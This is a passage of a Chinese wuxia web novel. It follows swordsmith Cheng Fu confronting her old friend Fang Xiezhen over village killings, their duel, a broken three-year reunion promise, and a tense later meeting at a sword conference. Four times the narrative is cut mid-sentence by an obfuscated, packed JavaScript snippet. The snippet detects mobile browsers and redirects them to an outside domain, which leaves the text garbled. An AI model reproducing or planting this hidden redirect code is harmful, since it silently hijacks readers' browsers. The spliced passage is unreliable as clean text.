程芙终究不能完全相信村民的一面之词,她一定要亲自问一问方撷真。不管答案如何,她要听自己的朋友亲口说。 * 两日后,留阳村往东数百里的一处小山坳中。 这儿倒是块不错的地界,石头缝里有泉水潺潺流出,汇成一道清澈溪水。只是不晓得这水干不干净,方撷真几人也不敢贸然饮用,万幸随身携带的水壶里还有留存,可以再支撑他们过一个晚上。 鸣金蟾、金乌翎、大衍泉泉水……再加上新在留阳村找来的十方虫,如今,方撷真已集齐五味炼制枯心露的原料,成功指日可待。 十方虫可遇而不可求,它通常生长在陨铁坠落处的土壤中,生命力脆弱。 方撷真等人追寻陨铁而来,还真就万分好运,真找到了这种唤作“十方虫”的小虫。 她的下属龙葵善于揣摩她的心思,遂感叹道:“少谷主是天命之人,想要的都能得到。找到碧草灵花,也只是时间早晚的事。” 这话,方撷真很受用,她本以为寻求枯心露原料的路必定布满荆棘坎坷,没想到出门不久便找到了金乌翎与十方虫,真是老天都眷顾她。 她注定就该走这条路,因为她不认为人生有那么多巧合,巧合地躲过刺客追杀,巧合地具备惊人的习武天赋,巧合地有一位声名赫赫、身为一派掌门的生母…… 这些事都不是“巧合”,而是“注定”。 所有人的奉承都可以告诉她,她注定走这样的路,而她也认可他们的奉承,她认为自己配得上这样的果,来日方长,她的名声迟早比武红英还要响,比程芙还要响。 现在她便要扭转方虹已死的“注定”,将一线希望变为一簇、一抔,直到方虹醒过来,慈爱温柔地抚摸她的面容。 泉水泠泠作响,忽闻远处有一道马蹄声由远及近,方撷真几人便不约而同往那方向望。他们一路走来,遇见过形形色色的旅客,想来那马蹄声的主人也是一样的。 偏偏方撷真没有想到,飞扬的尘土落下后,她在马背上看见一张非常熟悉而憔悴的脸。 “……程芙?” 手中把玩着的小石子咚一声坠落,方撷真本能地起身,眸光轻颤。 终于追上了,程芙翻身下马,将酝酿了好几日的言辞又酝酿一番,嗓子沙哑得厉害:“我从留阳村过来。” 方撷真蹙眉,脱口而出道:“你去那里做甚?” “找陨铁,铸剑用。” “原来如此。真是巧,能在这地方遇见你。” 一时紧张,方撷真差点儿便忘了,程芙是个铸剑师,一辈子要追着陨铁跑的。 她倒也想过程芙会否到留阳村来,但她已经不是当初缠着程芙的少年人了,她有更要紧的事、自己的事。 程芙环视一圈,追随方撷真的人不多,一女一男,应当是方撷真的下属。 她思忖几息,询问方撷真可否能借一步说话,方撷真自是答应。 便在泉眼的另一侧,斑驳的树影之下,程芙握紧的拳头松了又紧,终是低声问道:“方撷真,你杀人了?” 方撷真一怔,旋即释然了三分,既然程芙往留阳村走了一遭,那么迟早就会听闻一些话;可是余下的七分,却在她心里迅速地发酵膨胀,将五脏六腑挤作一团,她的胸腔里几乎全是愤愤和失望。 “程大侠就这样凭空污人清白。”方撷真冷笑。 “我看过尸身,杀他的那一招,是我教你的。”程芙证据确凿。 好锐利的眼睛,好敏锐的直觉,方撷真不得不佩服,却坚持要质问:“程芙,仅凭这个,你就怀疑我?程芙,只有我用剑吗?只有我去过留阳村吗?你难道只教过我一个人剑法?” 她和程芙不是仇人,甚至依然称得上是“朋友”,她还惦记着三年之约没有忘,心里还残存着一点情分。 如今,她的朋友——此生最后一个朋友,此生唯一一个同历生死的朋友、最值得铭记的朋友,站在她的对立面,怀疑她杀了人。 方撷真不接受。 她不接受程芙的任何质问,哪怕证据充分、板上钉钉,哪怕人的确死在翠微剑下,她也希望程芙能忐忑地问一句——方撷真,应当不是你吧? 只要程芙问了,方撷真就能当作她还是向着她的。 透过方撷真微微颤抖的面部肌肉,程芙察觉了什么,难以置信地后退,鬓发迎上一抹金辉:“真的是你,方撷真。我教你用剑,不是为了让你滥杀无辜!” 方撷真脑子嗡的一下,视线也模糊起来,又在这时听程芙追问: “你有苦衷,对吗?” 你有苦衷,对吗? 如若一开始,程芙便如此问,方撷真倒还能觉得欣慰,可是太晚了。 真的太晚了。 “你不信我。程芙,你不信我。”方撷真阖眸,笑意泉水似的收敛干净,再睁眼时,眸底涌起千重浪,她脑海中唯余一个念头,什么话都抹不干净——程芙不信她。 ——再叫他们加二十两银子!姓方的有钱,他们这副打扮的人都阔绰,肯定还能刮油水。 ——这几天到村子里来的人,属她长得最板正,比咱们村的都顺眼。 …… 留阳村里,隔着窗户,方撷真听见那些自私的、龌龊的、阴险的话;推开窗户,她挥出寒光冽冽的长剑,夺走三条死有余辜的命。 不论律法如何判罪,不论世俗如何定论,于那时的方撷真而言,那三个人有错在先,且非死不可。 “人就是我杀的。我想杀就杀了,你能将我如何?”方撷真又是一声嗤笑,仰起下颚,紧紧盯住旧友。 太阳热烈得很,照得她的五官模糊不明,她好像又笑了,也有可能垂着嘴角。 终于得到了答案,程芙心里愈加恼怒,愤愤道:“真的?” “真的。” “方撷真,你再答一遍。” “是真的!人是我杀的!”方撷真吼道。 “你把人命当成什么了!” 哗一声,拒霜剑亮在了光影下,程芙拿剑的手颤巍巍晃着,痛心疾首道:“人命在你眼里就一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15298520|165023||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 文不值!我错了,错在从一开始、在留仙原上,就不该教你剑法,错在不该费心费力为你铸翠微!” 方撷真瞬间白了脸,她宁可被程芙结结实实捅一剑,也不愿意听到这种话。 她付出的所有的感情好像都被否定了,比那三个人的命要还低贱。 方撷真绷着唇和眼眶,一字字问道:“所以,程大侠是后悔救我了?” 拒霜剑嗡鸣一声,握着她的人却愣在原地。 “我再问一遍,你后悔救我了?” 程芙仍是沉默。 她的沉默不叫方撷真觉得答案可以转圜,她的沉默只能令人心烦意乱。 “你要绑我回去?到那群愚昧的村民面前,到我母亲面前,还是到官府?又或是直接了结我?” “那就来吧!就用你手里那把破剑!” “谁阻拦我,谁就去死!人命本就不是金贵东西,一把剑就能夺走!” 翠微剑也出鞘了,它比拒霜更锋利轻薄,扬得更高,杀意更浓。 为着翠微明晃晃的剑锋,程芙居然不知自己为何而来。 她犹如置身于一片轻舟,孤零零沉浮在晨时的湖面中,她似乎又回到最茫然的那几年,却比那几年更无措。 不眠不休地追上了方撷真,也问出了心底的问题,然而得到答案后,程芙竟走不出下一步。 “谋剑”程芙,七窍玲珑,心算快于人前,总能精确猜出对手的想法,以最优的方案拆破招数。 今日却是例外。 方撷真稍微偏了偏脸,在程芙看不到的地方,任眼眶酸涩了一息,再摆正面庞时,她眉宇间仅剩怒意和嘲弄,道:“你下不了手。这便是你不如我的地方,你的心太软——太优柔寡断!” 叮咚—— 翠微冲着程芙虎口刺过来,逼得程芙不得不提剑格挡,她全然没有准备,竟被方撷真逼得接二连三后退。 眼见就要撞上一棵榕树,程芙连忙运转步法,灵巧地向宽阔处撤身。 纵然如此,拒霜剑依然没有转守为攻的意思,只一味地防守、后撤;抵挡。 方撷真逐渐恼怒烦躁,她期待的是酣畅淋漓的正面胜利,绝非是单方面击溃一个一再退让的对手! “出剑!程芙!”方撷真低声吼道,“我滥杀无辜、草菅人命,我该死,你来让我付出代价!” 拒霜剑于烈日下稍有偏转,以一个诡异的角度蓦然扭转态势,攻向方撷真右臂,却不想方撷真反应更快,轻松避过,更甚是兴高采烈地再次袭来一记招数—— 程芙浅色的衣袖渗出一缕血红,刺眼无比。 她感受不到疼痛似的,还想再出一剑,方撷真却率先乱了心神,唇齿欲动又止,似乎是想唤一个人都名字。 就在这隐藏不住的慌乱里,方撷真倏然撤远,归剑入鞘。 两名剑客皆没有动,仅是静静伫立,凝视彼此。 由此一来,程芙手臂上的剑伤便止不住了,血流得比溪水还要欢快,很快洇红一片衣料。 可她从始至终,唯一的神态便是轻轻拧眉,再无其他。 方撷真咬牙,程芙的伤口比烈日还刺眼,她仅觑了一眼,便觉得浑身都痛。此刻流着血的这只胳膊,救过她,为她掖过被角,她炒菜的时候,还为她递过水瓢。 这可能是天底下最会用剑、最会铸剑,也是对方撷真影响最深的一只胳膊。 方撷真深知自己割破的不仅是手臂。 “……流这么多血,当心死了。” 语罢,方撷真头也不回地骑上马,扬尘而去。 程芙没有追。 32.失约(1) 绕过山坳,便是坦荡大路。 “少谷主,您不舒服吗?” 龙葵最得方撷真信任,也最先注意到方撷真的异常。她所效忠的人不是慢吞吞的性子,既是在赶路,便不会将马骑得这样慢。 仿佛是为了等什么人追上来,故意为之。 “什么?” 方撷真一顿,原来她陷入了思绪的虚无,脑海里空空一片,什么都没有想,一切全凭身体的本能。她本能地不挥长鞭,本能地拽着缰绳。 当她后知后觉自己的怪异,不禁心头一颤,轻轻向山坳中回望。 唯有蝉鸣与溪水声。 没有马蹄哒哒的动静。 谁都没有来追她。 “天气炎热,头痛。”方撷真回应龙葵。 “夏天暑热重,少谷主,我们要歇一歇吗?”龙葵等待少谷主的指令,其实她不认为方撷真会再作停歇,但总要表一表体贴。 方撷真道:“不歇了,赶路吧。若不出意外,天黑之前我们就能到下一个镇子投宿。” 依照原本的计划,三人会在方才那处地势稍陡又有水源的山坳间过夜,可惜那地方留着程芙的血,那么便不会再留下方撷真的人。 关心完少谷主的身体,龙葵不忘再奉承几句:“少谷主的武功又进步了,连击败程芙都不在话下,来日更不知要如何英勇。” 仔细想一想,方撷真对程芙受伤一事,也很诧异。 世上最了解她的剑法的人,绝不是武红英,而是手把手教了她好几个月程芙。她的剑法由方虹做启蒙,因程芙而娴熟,因武红英而进阶,到了后来,再度因为程芙精进。 再者,那可是程芙啊,是赫赫有名的“谋剑”啊。 难道她的一举一动,都不应该被察觉洞悉吗?难道她的每一次进攻,都不应该被巧妙地预判、化解吗? 可转念一想,正因为两人长久地对练过,程芙不仅了解她,她也了解程芙,她又有远胜于对方的天赋,更为要紧的一点——她比程芙狠心。 正因如此,她才能……眸一转,方撷真望见落日熔金的美景,太阳红得像才从炉子里捞起。 于是,顺着程芙手臂流下的血,似乎也流进方撷真眼底,她通红的眼慢慢涩到不能睁开,只得扬手揉弄。 马儿嘶鸣长啸,带着方撷真奔出幽静的山谷。 * 程芙简单地处理过伤口,却不急着动身。 她不想立刻回云州,也不想回去找陨铁,她只想坐在大榕树的阴影里,伴着潺潺流水声静心思索。 但是她静不下来心。 那一剑,应当能称为断情绝义的一剑吧。 用她亲自教的路数,用她悉心铸的剑,出招时果决迅猛,快到难以反应,角度亦是难以躲避——不愧是她认可的天才,方撷真果然练了出来,不负她所望。 程芙莫名笑了笑,像在自嘲,或许还带有几分连她本人都未察觉的赞许。 她朝方撷真离去的方向瞥了眼,尘埃已然落下,长路尽头空无一人,仅有天际将死的一轮太阳在等她。 程芙在这片晚霞里失了方向,迷茫地把眼睛眨了一次又一次。她从来没有过远大的志向和荡平邪祟的鸿愿,从未觉得自己能做个匡正除恶的侠义之士。 她知道,自己若尽全力,方撷真必输无疑。 这点儿自信,她还是有的。 偏偏她放走了方撷真,因而她的良心尖锐持久地痛着,对旧友的感情和对正邪的分辨一同叫嚣。 可是她从头到尾做错了什么呢? 二十多日后,程芙回到澄意山庄后,仍未想明白。 她瘦了许多,以至于白霓裳在见到她时吓了一跳,竟在她的脸颊上摸了又摸,错愕道:“怎么了?气色这么难看。” 夕阳晚照的小屋里,程芙放下行囊,麻木地寻了个能坐的地方。 她肺腑间真的快被纷乱的情绪堵满了,只留了一寸空间供她呼吸。她便拖着狭窄的胸腔熬过二十来日,却始终得到想要的答案。 “师娘,”程芙垂眸,低声询问道,“若有一日,我无恶不作、草菅人命……你会如何待我?” 白霓裳眉宇轻蹙,紧张地抓住椅子扶手:“你希望我如何待你?” 凭二十来年都未更改过的观念,程芙云淡风轻道:“杀掉我。” 作恶就应受到惩罚,大多数世人都听过并且认可这一道理,程芙亦不能免俗。 但她放弃了将其付诸实践,甚至无意识地放走了方撷真,给予方撷真继续杀害无辜的可能。 程芙由此跌进缝隙中,两侧都是布满铁钉的墙壁,一面以她放任歹人作恶为由惩罚她,一面因旧友刀剑相向之故折磨她。 作为澄意山庄的徒子,作为一个活生生的人,她怕是很难释怀了。 “我会杀掉你。” 白霓裳清冷的声线响起,语气坚定,答得没有犹疑:“理由无需多言。” 这是程芙意料之中的答案,却加深了她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15305260|165023||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的自责。 她没有问题需要问了。 “阿芙,轮到我来问你了。”白霓裳倒开一杯温水,强行塞进徒儿掌中,用眼神命令她饮下,“你说吧。” 程芙便道出此行与方撷真纠葛的始末,从始至终都没有太多表情。 她在隐藏情绪一道上实在太熟练,不亚于她的铸剑术:“我不明白人为何会变得这么多。” 白霓裳轻声说了一些话,程芙略听进去了几句,譬如人总是会变的,譬如方撷真误入歧途不能怪你,譬如人各有命,你并没有杀了谁以为民除害的责任…… 总之白霓裳竭力想把程芙拉出缝隙,程芙却不置可否,到最后,程芙点点头,近乎喃喃:“我知道了。” * 永宁三年,正月末。 距与程芙上次相见,已过去将近两年。 一个月以来,方撷真几乎没有睡过好觉。 炼制枯心露的九味原料,她已集齐八味,只余最后一味碧草灵花。 但这并不是她梦靥的关键,近日,她常常梦见三年前的初春,她和程芙坐在盈满花香的小院里,许下三年之约的旧景。 ——三年之后,初春,你我再见,若能重逢,便仍是朋友。 许诺的时候,方撷真当然不会料到,仅仅一年多,她就能再和程芙相见。那次见面,两人可以说是不欢而散,程芙流出的血有多红,她至今难以忘怀。 从水月谷骑马到留仙原,十几日便能抵达。 倘若要赴约,今夜收拾好行囊,明日便可启程。 方撷真爬起来,披着单薄的外衣走至窗边,窗外月亮正圆,她能嗅到幽微的花香。 和程芙相遇,竟已有十一年。 十一年里,大部分的时间,两人都处在分别中。 她留心过澄意山庄剑庐主管的动向,得知程主管几乎已不在江湖中行走,总是闷在山庄里,却也没有再铸出什么神兵宝剑。 每每听到那些消息,她都五味杂陈,江湖中年轻的一辈成长得太快,程芙本就天赋平平,完全靠日复一日的努力,才铸就佳话,若再懈怠些,传奇就要由他人书写了。 有时她捏着翠微,又觉得程芙的前程和她着实无关,她用不着瞎操心,于是她便压抑克制着本能,一遍遍告诉自己——你是为程芙不齿的坏人,你为了复活方虹害死了多少人,你们间的情谊已然没有了。 这一年,程芙在留仙原上从冬末住到初夏,她等了很久,谁都没有来赴约。 33.失约(2) 孤身赴约是件很愚蠢的事,至少在之后的许多个夜里,程芙都这样想。她怕错过方撷真,特意将抵达留仙原的时间提前到了冬末,延后到了初夏。 怀着忐忑与不安,程芙等啊等,有时半夜被风声惊醒了,还要怀疑是否是方撷真来了。 到最后,她意识到自己和方撷真当真不再是朋友了,也没有说什么,骑着马慢悠悠回到云州,照旧按部就班地过日子。 她快三十岁了,失去一个朋友而已……不是什么大过天的事情。 程芙的生活没有多少刺激和刺激,平平淡淡就是她最向往的日子。每日自然地醒来,和阿婆一道到集市上买菜,祖孙俩不去山庄的大厨房吃饭,而是在小院子里单独开伙;有同门邀她,她便四处玩一玩,倒也笑得出声。 可是她铸的剑与从前不同了,不再一意孤行追求薄如蝉翼的剑身,慢慢有了些浑厚沉稳的味道。她自己起初还没发现,是白霓裳一语道破,她才恍然大悟。 于是程芙又走进死胡同里,日复一日地深究为何有此一变,且刻意掏出往日的风格,固执地尝试再铸出一柄柄轻薄的剑,却丢了品质,铸出来的多半都是次品。 她看着那些根本不能入眼的东西,一个人在剑庐坐到半夜,干脆烧火开炉,一股脑熔了全部。 失去一个朋友而已…… * 永宁四年秋,又一届论剑大会。 上一届论剑已过去五年。 从去年冬天起,武红英的身体便不太好,是以水月谷参与论剑的徒子,是由少谷主方撷真来带队。 水月谷少谷主,武红英独女,天赋异禀、行事果决——如今江湖中的人提及方撷真,大都如此评价。 偶尔也有人议论她与伏光门的恩怨,说她曾经如何如何冲动,又或是笑她上一届论剑是如何狼狈退场,方撷真皆不以为意,只要她足够强大,自有人为她分辩。 “真儿,都收拾好了吗?” 武红英眼尾生了许多细纹,宛若水流干涸的沟渠,但她的精神很好,竟不显老态,大抵是因为女儿已能独当一面了,她心中总是欣慰快活。 “好了。”方撷真答道,“明天一早便走。” 她稍微低了点儿头颅,好方便武红英抚摸她的发顶:“母亲,论剑一结束,我便回来。不会耽搁太久。” 母亲的手掌很暖,每每扬起来,方撷真都会下意识低头。 “有些话,咳咳……我说了很多遍了。”五年过去,武红英仍是那位对女儿寄予厚望,甚至逼得太紧的母亲,“但是有些新的话,还是要提一提。” 方撷真洗耳恭听。 她不指望武红英能说什么动听的东西,反正这些年她已经学会将不爱听的话当作耳旁风,而且将这技能掌握得很娴熟。 今日的方撷真,所能听到的话,十中有九都是别人精心择选过的话,因为她的身份地位和前程摆在这里,实力亦不容小觑。 人一旦吃多了蜜糖,就不在乎那一丝丝苦味了,花圃里生了杂草,轻轻拔掉便好,没必要多费心神。 冷风拂过,武红英咳嗽了好几声:“你说,你赢过程芙两次……咳咳。” 一次是小住澄意山庄时,一次是留阳村外,方撷真割破了程芙的手臂。 方撷真没打算仔细听武红英的话,还能说些什么呢?无非就是督促她立志高远罢了。 果不其然,她听见武红英温声说道:“既然她已是你手下败将。那便不要拘泥于只赢过她,也试着胜过别人吧。” 方撷真表面温顺地点了点头,实则不把母亲所言当回事,她自会加倍努力,无需谁来多费口舌。 “还有,真儿,”武红英默了好一会儿,直到确认方撷真飘忽的眼神疑惑地回到自己身上,才缓缓又道,“我病了快一年,感觉身体大不如前……” 自从二十八年前,才出生的女儿被偷走,武红英的康健便一直存在问题,她绝对称不上身强力健。去年又大病一场,治愈后也是小病不断,一场连着一场。 俗话说母女连心,方撷真能清晰感知到母亲的变化,且常常为之缄默。她对生母的感情很难明说,似乎是恨着的,又似乎是依恋着的,还似乎厌倦着…… 她答道:“慢慢养就是了,能养回来的。” “你真以为我要和你聊这个?”武红英头颅轻摆,否定了女儿的话。她酝酿几瞬,即便事先已预演过多次,真到了要开口的时候,却非常艰难:“无论如何,你姨母,都是你的血亲。” 方撷真当即皱眉,不悦地将双眸眯起。 最稳固的关系不止是母女,还有一母同胞的亲姐妹。 数年以来,武红英把妹妹武绿华保护得太好,方撷真根本找不到神不知鬼不觉铲除仇人的机会。她不可能随心所欲地杀了武绿华,只因回魂的方法,至今没有从武红英身上学到。 “母亲可以直接说,不必拐弯抹角。”方撷真道。 “无论如何,留她一条命吧。”武红英握住女儿的手,“我知道你恨她,更甚是恨我。咳……我不知还能活多久,若我一死,她能帮扶你。” 方撷真移开嘲弄的视线,她能集齐炼制枯心露的八味原料,武绿华功不可没,她也曾答应过会留武绿华一条命。 直到她发现武绿华的真正用意。 武绿华并非诚心助她,也并非自寻生路,而是笃定了搜集原料的路荆棘丛生,要方撷真死在路上。 那天晚上下着雨,方撷真站在武红英屋外,偷听母亲和姨母争执。 ——你明知那是不可能办到的事!你是要真儿死! ——她为何要炼枯心露,姐姐,你还不明白吗!你费再多的心思,她最惦记的依旧不是你啊! 方撷真抽出手,眺望远处蓬勃的桂花,今年的桂花开得真是好:“母亲还是安心养身体吧。我心里有打算,你放心。” “真儿……”武红英的身体不允许她支撑太久,她必须回去休息了。她稍作犹豫,罢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15309056|165023||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了,总还有机会的:“有一件事,等你从云州回来,我再告诉你吧。” * 重返云州时,云山满身遍野都是红枫,这便是云州一年四季里最美的时候。 一路上,方撷真都在盘算回魂术的事。从那个雨夜武氏姊妹的谈话可以知晓,武红英以知道了她要复活方虹的心思,但她必须装作一无所知,不能主动提及要学回魂术。 奈何又不知武红英哪一日才肯教她,真是令人心焦。 莫不是不教了?方撷真行在一株株叶片摇曳的枫树下,低头沉思——也不是全无可能啊。 据她所知,世上会回魂术的人除了武红英,只有武绿华。 那倒是十分难办,武绿华的命必须暂时留着。一想到武绿华还能再活,方撷真便浑身不自在,有人唤她她也未曾察觉,徐剑屏提醒了才回神。 掀眸一看,原来是星罗宫的陈宫主,身后还跟着几个星罗宫徒子。 枯心露的原料之一金乌翎,便是从星罗宫里“偷”来的。 “武少谷主,走路时多当心啊。”陈宫主笑眯眯的,哪知他私底下养着金乌鸟那种生吃活人的怪物。 见了他,方撷真半分都不心虚,反倒从容谢过他的好意:“陈宫主也是才到云州?巧了,正好可以同行。” “正是。请吧,武少谷主。”分明是江湖里的前辈,陈宫主却主动侧过身,做了个“请”的手势,邀方撷真先行。 他这是客气呢,方撷真哪能真的先走,遂尽了该尽的礼仪,最终与陈宫主并肩而行。 放在以前,方撷真万万享受不到这等待遇,当初武红英广邀群英,将她介绍给武林诸人,星罗宫可是没有出席的,连回信都不给。 “听闻武少谷主剑术大成了,我也算是有了一睹风采的荣幸。”陈宫主身材微胖,步履格外沉重一些。 “陈宫主过誉了,我还年轻……”说漂亮话嘛,谁不会啊,方撷真早练出了见什么人说什么话的本事。 两人边交谈边往前走,终于望见了澄意山庄的大门。 进了门,方撷真便不再和陈宫主同行,这老头烦得很,和他说话实在令人窝火。她领着水月谷徒子往另一条路上走,也能抵达澄意山庄为诸侠士安排的住处。 不得不叹一句,到底是底蕴丰厚的大门派,一砖一瓦的铺设都极考究,然而方撷真很厌恶随处可见的青竹,这东西太无趣。 绕过一处转角,她漠然的眸子倏然一颤。 前面走来一人,身姿挺拔,乌眸沉静深邃,腰间空空如也的,没有带剑。 来人的目光在方撷真身上停留一息,旋即平静地收回,无论是脚步还是视线,皆未作多余的流连。 方撷真与程芙擦身而过,谁都不理会谁。 可她骤然想起数年前的那个约定来。 三年之约,她没有如期履行,程芙应当也没有去留仙原吧。 单是萌发赴约的念头,不管是否动身,都已经很可笑了。 34.重逢(1) “少谷主?怎么了?” 见方撷真脚步迟缓,跟着她的徐剑屏不免出声询问。 徐剑屏晓得方撷真与程芙曾是旧友,却不清楚两人间详细的变故。 不过,因两人擦肩而过却不问候,各自神色匆忙,连眼神都不曾有长久的交汇,她便猜到这两人必有蹊跷。 方撷真却恍若未闻,腿陷入泥淖似的,动弹不得。 那般云淡风轻的态度、漠不关心的神色,真真切切刺痛了她。 她分明还偶尔从梦中惊醒,每每忆起年少时的旧事,便辗转反侧,夜不能寐——可是程芙,连多的一眼都不看她,更没有露出或错愕或惊讶的神色。 程芙不认识她似的,待她如陌生人。 凭什么? 凭什么程芙连一丝一毫的痛苦怀念都没有? 这简直是极不公平的事,她宁可程芙来恨自己,也不要程芙一个人无牵无挂地先往前走,否则她便成了唯一的蠢人。 可她千真万确没有再拖程芙下水的法子了,总不能捅程芙一剑,说我还怨你,所以你也不能停止怨我。 ……不对,有一个法子。 方撷真来云州,是带着目的的。 枯心露依然差一味碧草灵花做原料,不过据她所知,倒可以先做试验。倘若三日之后,试药的人出现了她想要的反应,便说明炼制方法是正确的——毕竟迄今为止,武红英仍未正式教授她发动回魂术的步骤,连枯心露三个字都没有提过。 所以方撷真只能靠自己试。 她迫不及待要方虹活过来,告诉方虹她已能独当一面,已不是那个会吓得哇哇乱叫的孩子了。 方撷真甚至已经选好了在谁身上试。 那人性情温和,看她的目光总是充满慈爱,手掌亦十分温暖——方撷真此举,绝不是为了要程芙来恨自己。 恨,仅是可能出现的后果。 思及此处,她抬了抬脚,从齿缝里挤出一个字来:“走。” 鞋履踩在一片落叶上,待方撷真的鞋跟抬起,那叶子便随风而起,偏向远处,竟迂回地落在了程芙肩头。 程芙轻轻拂去落叶,她已经和方撷真走向两个方向,一人往北,一人往东,若回头,也只会隔着院墙,是看不见彼此的。 纵然如此,她仍回身扫了一眼,才继续往前。 * 程芙并不关心论剑大会的事,连开幕都不出席。然而身为剑庐主管,她倒是会为各路侠士修缮兵器,尽一尽地主之谊。 转瞬便是三日光阴,论剑已诀出十六甲,而这三天里,程芙只在居所和剑庐间两点一线,山庄里有什么奇闻,全靠师妹小蘋说给她听。 小蘋便是曾和她、方撷真共渡一条小舟的女孩儿,今年已有十二岁,是个半大姑娘了。 “然后呢?是谁赢了?”程芙在木盆里浣洗阿婆的衣裳,漫不经心地与小蘋说着话。 “是武少谷主啊!”小蘋脆生生道。 话音一落,程芙才意识到小师妹在谈论什么,都怪她走了神,竟未及时发觉。她默了默,轻声道:“那输的人是谁?” 小蘋眯了眯眼,显然不记得输家的名字。 这是最寻常的事,因为世人往往只记得是谁赢了,而且那场战斗并不算精彩绝伦,不值得铭记:“我忘记了。” 程芙无奈地觑她一眼,将木盆里的污水倒掉:“你玩够了,今日的功课做了吗?剑可练了?” 她是有一些师姐做派的,时不时督促师妹小蘋的学业、武功,当然,若小蘋着实不愿意做,她也不逼着,只会如实转告白霓裳罢了。 是以小蘋对程芙有几分敬畏,一听师姐这么说,连忙借口要走:“后头好像还有几轮,我还没看够呢。师姐,我先走啦!” “嗯。”程芙轻应了声,没有抬头。 她听着小蘋的脚步轻快远去,背后的屋子里有阿婆均匀的鼾声,继而是院门从内向外推开的“吱呀”声,很快这声音就会再响一遍,因为她的居所从不时时开门迎客,大门通常都是关着的。 程芙垂首等了会儿,非但没有听见关门的动静,反而只闻小蘋一声怪叫: “啊呀——!师姐!” 程芙困惑地抬眸。 门外竟立着一道修长身影,碧色衣衫、发髻高挽,两弯浓眉下一双有神清亮的眼。 程芙站起身,袖管还撸在手肘处。 “武少谷主!”小蘋又惊又喜,却单纯地堵着门口,没有要给任何人让路的意思,“我刚才看了你的场次,你可真厉害呀!以后我也和你一样厉害就好了!” 赞美之词,方撷真听得太多了,早便没了感觉,但是小蘋却很不同,唯有十几岁的孩子,才会笑得这般真诚。 她望着小蘋的笑颜,若有所思,于是便向小蘋点了点头,道:“多谢。” 隔着小蘋一晃一晃的脑袋,程芙与方撷真久违地对上目光,皆是沉默。 “武少谷主,你来找我师姐吗?”小蘋问。 “是啊。”方撷真笑了笑,“我可能进来?” 后半句话,是在问这处院落的主人。 程芙语调平平,没有波澜:“请进。” 小蘋又不想看下一轮比试了,蹦蹦跳跳地跟随方撷真折返,一屁股坐在她原先坐的椅子上。 她不清楚师姐和方撷真间的纠缠,还以为她们仍然交好,遂笑道:“武少谷主好多年没来云州找我师姐玩啦!” 气氛居然半分不窘迫,大抵是因为程芙向来波澜不惊,方撷真则学会了演戏,再激荡的心神都能从善如流地压下。 金秋,云州已有了凉意,将程芙带回前几年孤身小住留仙原的岁月,那时候不仅时节凉,她的心也是凉的。 她想不明白,赴约便仍是朋友,那么失约,自然就代表不是朋友,方撷真还来找她做什么? “我来看看你的阿婆,没有旁的意思。昔年她待我很亲厚。”方撷真开门见山,不问程芙过得如何,直接道出来意,“我提了点儿老人家吃的补品,你收下吧。” 程芙摇头:“不用,我阿婆不缺这个。” “你又不是你阿婆,说了能算吗?”方撷真轻笑,仰首张望起来,“她人在哪?” 巧的很,话音才落,主屋的门便开了,从内走出一位华发丛生的老妇人。 程阿婆的眼神和记性 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15323379|165023||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都大不如前,想了好一会儿,才想起来此人是谁:“啊!是小方啊!” 她才笑了几声,便轻柔地斥责孙女不懂事,来了客人,也不知道倒水。 程芙只能拿了套茶具出来,还好壶里有才烧好的热水,不用再费烧水的功夫,茶叶也是今年新得的。 一片片茶叶打着旋在杯中沉浮,时起时落,程芙倒完水,便说那洗好的衣服要赶快晾,耽误不得,否则怕坏了料子。 闻此一言,方撷真竟莞尔笑道:“你快去吧,我和阿婆说说话就走,不多留。” 程芙一点多余的反应都不给,径直起身,将衣裳一件件搭起来晾晒。 她身后便是阿婆和方撷真的声音,或嘘寒问暖,或说笑闲聊,小蘋也会时不时插嘴,为这场交谈增添一分笑意。 唯有程芙全然笑不出来,她觉得今日的晾衣绳格外高,非要高高抬着胳膊才能将衣裳搭上。 